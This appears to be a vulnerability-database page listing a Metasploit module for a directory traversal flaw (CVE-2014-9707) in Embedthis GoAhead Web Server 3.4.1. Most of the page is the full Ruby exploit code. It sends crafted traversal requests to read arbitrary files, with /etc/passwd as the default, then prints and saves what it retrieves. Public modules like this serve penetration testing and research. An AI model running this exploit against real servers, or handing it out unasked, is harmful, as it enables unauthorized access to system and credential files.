Lucene search
+L

Embedthis GoAhead Embedded Web Server Directory Traversal

🗓️ 01 Sep 2024 00:00:00Reported by Roberto S. Soares, Matthew Daley, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 298 Views

Exploiting directory traversal vulnerability in Embedthis GoAhead Web Server v3.4.1 to read arbitrary files

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Embedthis GoAhead Embedded Web Server Directory Traversal',  
'Description' => %q{  
This module exploits a directory traversal vulnerability in the Embedthis  
GoAhead Web Server v3.4.1, allowing an attacker to read arbitrary files  
with the web server privileges.  
},  
'References' =>  
[  
['CVE', '2014-9707'],  
['PACKETSTORM', '131156']  
],  
'Author' =>  
[  
'Matthew Daley', # Vulnerability discovery  
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module  
],  
'License' => MSF_LICENSE  
))  
  
register_options(  
[  
Opt::RPORT(80),  
OptString.new('FILEPATH', [true, "The path to the file to read", "/etc/passwd"]),  
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 5 ])  
])  
end  
  
def run_host(ip)  
filename = datastore['FILEPATH']  
filename = filename[1, filename.length] if filename =~ /^\//  
traversal = "../" * datastore['DEPTH'] << ".x/" * datastore['DEPTH'] << filename  
  
res = send_request_raw({  
'method' => 'GET',  
'uri' => "#{traversal}"  
})  
  
if res &&  
res.code == 200 &&  
res.headers['Server'] &&  
res.headers['Server'] =~ /GoAhead/  
  
print_line("#{res.body}")  
  
fname = datastore['FILEPATH']  
  
path = store_loot(  
'goahead.traversal',  
'text/plain',  
ip,  
res,  
fname  
)  
  
print_good("File saved in: #{path}")  
else  
print_error("Nothing was downloaded")  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Sep 2024 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 27.5
EPSS0.28237
298